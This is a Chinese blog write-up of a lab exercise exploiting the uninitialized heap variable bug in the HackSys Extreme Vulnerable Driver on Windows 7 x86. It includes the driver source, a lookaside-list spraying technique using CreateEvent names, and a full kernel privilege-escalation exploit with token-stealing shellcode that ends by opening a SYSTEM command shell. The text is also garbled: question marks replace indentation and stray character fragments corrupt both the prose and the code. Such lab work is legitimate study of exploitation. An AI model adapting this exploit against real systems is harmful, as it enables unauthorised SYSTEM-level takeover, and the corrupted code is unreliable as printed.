漏洞分析:HEVD-0x7.UninitializedHeapVariable[win7x86]

作者selph
前言
窺探Ring0漏洞世界:未初始化堆變量漏洞
哪怕是類似原理的都用,在利用方式上也總能帶來很多新鮮感,每次都有新的長見識,不斷的感嘆和震撼
實驗環(huán)境:
?虛擬機(jī):Windows 7 x86
?物理機(jī):Windows 10 x64
?軟件:IDA,Windbg,VS2022
漏洞分析
老樣子,先IDA找到該漏洞的觸發(fā)函數(shù)TriggerUninitializedMemoryPagedPool,分析函數(shù)是如何存在漏洞的:
首先依然是申請內(nèi)存0xf0字節(jié)

然后接著取用戶參數(shù)地址的值,不是魔數(shù)就跳轉(zhuǎn),是魔數(shù)就向下走,填充魔數(shù)和固定的回調(diào)到結(jié)構(gòu)里,然后填充申請內(nèi)存的多余部分

最后,判斷值,如果輸入的地址的值是0,則調(diào)用偏移4的回調(diào)函數(shù):

查看一下漏洞函數(shù)源碼:
///
/// Trigger the uninitialized memory in PagedPool Vulnerability
///
///The pointer to user mode buffer
///?NTSTATUS
NTSTATUS
TriggerUninitializedMemoryPagedPool(
_In_ PVOID UserBuffer
)
{
??? ULONG_PTR UserValue = 0;
??? ULONG_PTR MagicValue = 0xBAD0B0B0;
??? NTSTATUS Status = STATUS_SUCCESS;
??? PUNINITIALIZED_MEMORY_POOL UninitializedMemory = NULL;
??? PAGED_CODE();
??? __try
??? {
??????? //
??????? // Verify if the buffer resides in user mode
??????? //
??????? ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_POOL), (ULONG)__alignof(UCHAR));
??????? //
??????? // Allocate Pool chunk
??????? //
??????? UninitializedMemory = (PUNINITIALIZED_MEMORY_POOL)ExAllocatePoolWithTag(
??????????? PagedPool,
??????????? sizeof(UNINITIALIZED_MEMORY_POOL),
??????????? (ULONG)POOL_TAG
??????? );
??????? if (!UninitializedMemory)
??????? {
??????????? //
??????????? // Unable to allocate Pool chunk
??????????? //
??????????? DbgPrint("[-] Unable to allocate Pool chunk\n");
??????????? Status = STATUS_NO_MEMORY;
??????????? return Status;
??????? }
??????? else
??????? {
??????????? DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
??????????? DbgPrint("[+] Pool Type: %s\n", STRINGIFY(PagedPool));
??????????? DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(UNINITIALIZED_MEMORY_POOL));
??????????? DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedMemory);
??????? }
??????? //
??????? // Get the value from user mode
??????? //
??????? UserValue = *(PULONG_PTR)UserBuffer;
??????? DbgPrint("[+] UserValue: 0x%p\n", UserValue);
??????? DbgPrint("[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);
??????? //
??????? // Validate the magic value
??????? //
??????? if (UserValue == MagicValue) {
??????????? UninitializedMemory->Value = UserValue;
??????????? UninitializedMemory->Callback = &UninitializedMemoryPagedPoolObjectCallback;
??????????? //
??????????? // Fill the buffer with ASCII 'A'
??????????? //
??????????? RtlFillMemory(
??????????????? (PVOID)UninitializedMemory->Buffer,
???????????????sizeof(UninitializedMemory->Buffer),
??????????????? 0x41
??????????? );
??????????? //
??????????? // Null terminate the char buffer
??????????? //
???????????UninitializedMemory->Buffer[(sizeof(UninitializedMemory->Buffer) / sizeof(ULONG_PTR)) - 1] = '\0';
??????? }
#ifdef SECURE
??????? else {
??????????? DbgPrint("[+] Freeing UninitializedMemory Object\n");
??????????? DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
??????????? DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedMemory);
??????????? //
??????????? // Free the allocated Pool chunk
??????????? //
???????????ExFreePoolWithTag((PVOID)UninitializedMemory, (ULONG)POOL_TAG);
??????????? //
??????????? // Secure Note: This is secure because the developer is setting 'UninitializedMemory'
??????????? // to NULL and checks for NULL pointer before calling the callback
??????????? //
??????????? //
??????????? // Set to NULL to avoid dangling pointer
??????????? //
??????????? UninitializedMemory = NULL;
??????? }
#else
??????? //
??????? // Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability
??????? // because the developer is not setting 'Value' & 'Callback' to definite known value
??????? // before calling the 'Callback'
??????? //
??????? DbgPrint("[+] Triggering Uninitialized Memory in PagedPool\n");
#endif
??????? //
??? ????// Call the callback function
??????? //
??????? if (UninitializedMemory)
??????? {
??????????? DbgPrint("[+] UninitializedMemory->Value: 0x%p\n", UninitializedMemory->Value);
??????????? DbgPrint("[+] UninitializedMemory->Callback: 0x%p\n", UninitializedMemory->Callback);
??????????? UninitializedMemory->Callback();
??????? }
??? }
??? __except (EXCEPTION_EXECUTE_HANDLER)
??? {
??????? Status = GetExceptionCode();
??????? DbgPrint("[-] Exception Code: 0x%X\n", Status);
??? }
??? return Status;
}
整套邏輯和上一篇未初始化棧變量漏洞幾乎一樣,當(dāng)輸入的值不是魔數(shù),則會掉用指定位置的回調(diào)函數(shù),如果是魔數(shù)則填充固定的回調(diào)函數(shù)去調(diào)用
要如何利用,也跟上次思路一樣,想辦法控制該內(nèi)存申請出現(xiàn)的位置,提前在內(nèi)存里布置shellcode地址,然后再調(diào)用該漏洞函數(shù)觸發(fā)漏洞,該漏洞是由未初始化和保存回調(diào)而導(dǎo)致的,該漏洞的控制碼是:0x222033
漏洞利用
控制分頁內(nèi)存
要按照上面的思路去進(jìn)行利用,這里需要解決的一個問題就是,如何從用戶層去控制該分頁內(nèi)存申請的位置
之前在池溢出利用那里,使用了CreateEvent大量創(chuàng)建事件對象(非分頁內(nèi)存池),制造內(nèi)存合適大小的空洞使得申請的內(nèi)存被精準(zhǔn)投放到事件對象前面
根據(jù)參考資料[1-2],了解到事件對象本身分配給了非分頁池,但是最后一個參數(shù)LPCTSTR類型的lpName實際上是在分頁池上分配的。
根據(jù)那邊介紹內(nèi)存池的論文(參考資料{3]),可以了解到如果空閑內(nèi)存塊插入到了ListHeads List里,除了固定的8字節(jié)池Header,還會在起始8字節(jié)加上雙向鏈表指針,當(dāng)再次分配該內(nèi)存的時候,前8字節(jié)是不受控的,我們完成本次利用需要控制偏移4的4字節(jié)內(nèi)存,所以這里內(nèi)存是從ListHeads List里申請的是沒法實現(xiàn)的
除了ListHeads List,還有個提高內(nèi)存分配效率的Lookaside List,使用單鏈表保存空閑塊,所以這里希望能將釋放的內(nèi)存塊插入到Lookaside List里,然后再分配出來
首先,第一步,需要確保Lookaside是啟用的,該表將會在系統(tǒng)啟動2分鐘之后惰性啟動,需要開機(jī)后等兩分鐘在進(jìn)行實驗
然后,接下來,確保_KPRCB.PPPagedLookasideList[0x1E]是被控制的(0xf0+0x0f>>3 = 0x1e),這就需要申請大量0xf0大小的分頁內(nèi)存然后釋放形成空閑塊,內(nèi)存的構(gòu)造是,往偏移4的位置寫入函數(shù)地址,然后其他地方寫入隨機(jī)字符,最后以00結(jié)尾截斷字符串,注意一點,就是函數(shù)地址里不能出現(xiàn)0x00,因為會截斷字符串
這里踩了個大坑,地址里出現(xiàn)00會截斷字符串,導(dǎo)致實際上控制的空間不是0x1E這條鏈表上的,導(dǎo)致利用失敗?。?/p>
根據(jù)官方給出的exp學(xué)習(xí)到了一種讓函數(shù)地址不出現(xiàn)00的方法:
ULONG_PTR MapPivotPage(PVOID Payload) {
ULONG_PTR Pivot = 0;
??? PVOID BaseAddress = NULL;
??? SIZE_T RegionSize = 0x1;
??? BOOLEAN PivotMapped = FALSE;
??? NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
??? while (!PivotMapped) {
??????? Pivot = RandomNumber(0x41, 0x4F) & 0xFF;
??????? Pivot |= (RandomNumber(0x31, 0x3F) & 0xFF) << 8;
??????? Pivot |= (RandomNumber(0x21, 0x2F) & 0xFF) << 16;
??????? Pivot |= (RandomNumber(0x11, 0x1F) & 0xFF) << 24;
??????? BaseAddress = (PVOID)Pivot;
??????? NtAllocateVirtualMemory_t???? NtAllocateVirtualMemory;
??????? NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
??????? NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
??????????? &BaseAddress,
??????????? 0,
??????????? &RegionSize,
????????? ??MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
??????????? PAGE_EXECUTE_READWRITE);
??????? if (NtStatus == STATUS_SUCCESS) {
??????????? *(PBYTE)Pivot = 0x68;?????????????????????????? // push 32b imm
??????????? *(PULONG_PTR)(Pivot + 1) = (ULONG_PTR)Payload;
??????????? *(PBYTE)(Pivot + 5) = 0xC3;???????????????????? // ret
??????????? PivotMapped = TRUE;
??????? }
??? }
??? return Pivot;
}
通過API NtAllocateVirtualMemory?申請不存在0的可執(zhí)行地址,然后往里面填入push address;ret進(jìn)行跳轉(zhuǎn),跳轉(zhuǎn)到我們自己的shellcode里去
關(guān)于event名稱的構(gòu)造:
char eventName[0xf0] = {0};?
??? for (int j = 0; j < 0xf0 - 4; j++) {
??????????? eventName[j] = RandomNumber(0x41, 0x5A); // From A-Z
??????? }
??????? eventName[4] = (UINT_PTR)pvoid & 0xFF;
??????? eventName[5] = ((UINT_PTR)pvoid & 0xFF00) >> 8;
??????? eventName[6] = ((UINT_PTR)pvoid & 0xFF0000) >> 16;
??????? eventName[7] = (UINT_PTR)pvoid >> 24;
??????? eventName[0xf0 -5] = '\0';
??????? spray_event1[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)eventName);
因為如果用相同字符串的話,內(nèi)存里就只會保存一份副本,所以需要使用不同的字符串才能申請多個內(nèi)存空間出來
最后,每個Lookaside List最多可以裝256個塊,所以需要申請256次,再全部釋放掉
編寫exp:
#include
#include
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET0x124? // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET??? 0x050? // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET???????? 0x0B4? // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET?????? 0x0B8? // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET?????? 0x0F8? // nt!_EPROCESS.Token
#define SYSTEM_PID???????? 0x004? // SYSTEM Process PID
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef NTSTATUS* PNTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#define RandomNumber(Minimum, Maximum) (rand()%(int)(Maximum - Minimum) + Minimum)
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(IN HANDLE???? ProcessHandle,
??? IN OUT PVOID* BaseAddress,
??? IN ULONG????? ZeroBits,
??? IN OUT PULONG AllocationSize,
??? IN ULONG????? AllocationType,
??? IN ULONG????? Protect);
VOID TokenStealingPayloadWin7() {
??? // Importance of Kernel Recovery
??? __asm {
??????? pushad
??????? ;?獲取當(dāng)前進(jìn)程EPROCESS
???????xor eax, eax
??????? mov eax, fs: [eax + KTHREAD_OFFSET]
??????? mov eax, [eax + EPROCESS_OFFSET]
??????? mov ecx, eax
??????? ;?搜索system進(jìn)程EPROCESS
??????? mov edx, SYSTEM_PID
??????? SearchSystemPID :
??????? mov eax, [eax + FLINK_OFFSET]
??????? ????sub eax, FLINK_OFFSET
??????????? cmp[eax + PID_OFFSET], edx
??????????? jne SearchSystemPID
??????????? ; token竊取
??????????? mov edx, [eax + TOKEN_OFFSET]
??????????? mov[ecx + TOKEN_OFFSET], edx
??????????? ;?環(huán)境還原+?返回
??????????? popad
???????
??? }
}
ULONG_PTR MapPivotPage(PVOID Payload) {
??? ULONG_PTR Pivot = 0;
??? PVOID BaseAddress = NULL;
??? SIZE_T RegionSize = 0x1;
??? BOOLEAN PivotMapped = FALSE;
??? NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
??? while (!PivotMapped) {
??????? Pivot = RandomNumber(0x41, 0x4F) & 0xFF;
??????? Pivot |= (RandomNumber(0x31, 0x3F) & 0xFF) << 8;
??????? Pivot |= (RandomNumber(0x21, 0x2F) & 0xFF) << 16;
??????? Pivot |= (RandomNumber(0x11, 0x1F) & 0xFF) << 24;
????? ??BaseAddress = (PVOID)Pivot;
??????? NtAllocateVirtualMemory_t???? NtAllocateVirtualMemory;
??????? NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
??????? NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
??????????? &BaseAddress,
??????????? 0,
??????????? &RegionSize,
??????????? MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
??????????? PAGE_EXECUTE_READWRITE);
??????? if (NtStatus == STATUS_SUCCESS) {
??????????? *(PBYTE)Pivot = 0x68;?????????????????????????? // push 32b imm
??????????? *(PULONG_PTR)(Pivot + 1) = (ULONG_PTR)Payload;
??????????? *(PBYTE)(Pivot + 5) = 0xC3;???????????????????? // ret
??????????? PivotMapped = TRUE;
??????? }
??? }
??? return Pivot;
}
int main()
{
??? ULONG UserBufferSize = 4;
??? PVOID EopPayload = &TokenStealingPayloadWin7;
??? HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
??? PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
??? ULONG_PTR pvoid = MapPivotPage(EopPayload);
??? printf("payload address:%p", pvoid);
??? char eventName[0xf0] = {0};?
??? //?污染后備鏈表
??? HANDLE spray_event1[1000] = { 0 };
?? ?for (size_t i = 0; i < 256; i++)
??? {
??????? for (int j = 0; j < 0xf0 - 4; j++) {
??????????? eventName[j] = RandomNumber(0x41, 0x5A); // From A-Z
??????? }
??????? eventName[4] = (UINT_PTR)pvoid & 0xFF;
??????? eventName[5] = ((UINT_PTR)pvoid & 0xFF00) >> 8;
??????? eventName[6] = ((UINT_PTR)pvoid & 0xFF0000) >> 16;
??????? eventName[7] = (UINT_PTR)pvoid >> 24;
??????? eventName[0xf0 -5] = '\0';
??????? spray_event1[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)eventName);
??? }
??? for (size_t i = 0; i < 256; i ++)
??? {
??????? CloseHandle(spray_event1[i]);
??? }
??? ULONG WriteRet = 0;
??? DeviceIoControl(hDevice, 0x222033, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
??? HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
??? UserBuffer = NULL;
??? system("pause");
??? system("cmd.exe");
??? return 0;
}
截圖展示

參考資料
?[1] Windows Kernel Exploitation Tutorial Part 7: Uninitialized Heap Variable - rootkit (rootkits.xyz) https://rootkits.xyz/blog/2018/03/kernel-uninitialized-heap-variable/
?[2] CreateEventA function (synchapi.h) - Win32 apps | Microsoft Docs https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createeventa
?[3] kernelpool-exploitation.pdf (packetstormsecurity.net) https://dl.packetstormsecurity.net/papers/general/kernelpool-exploitation.pdf
?[4] HEVD-第七部分-未初始化的堆變量_是脆脆啊的博客-CSDN博客https://blog.csdn.net/qq_36918532/article/details/123393827
?[5] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com) https://github.com/hacksysteam/HackSysExtremeVulnerableDriver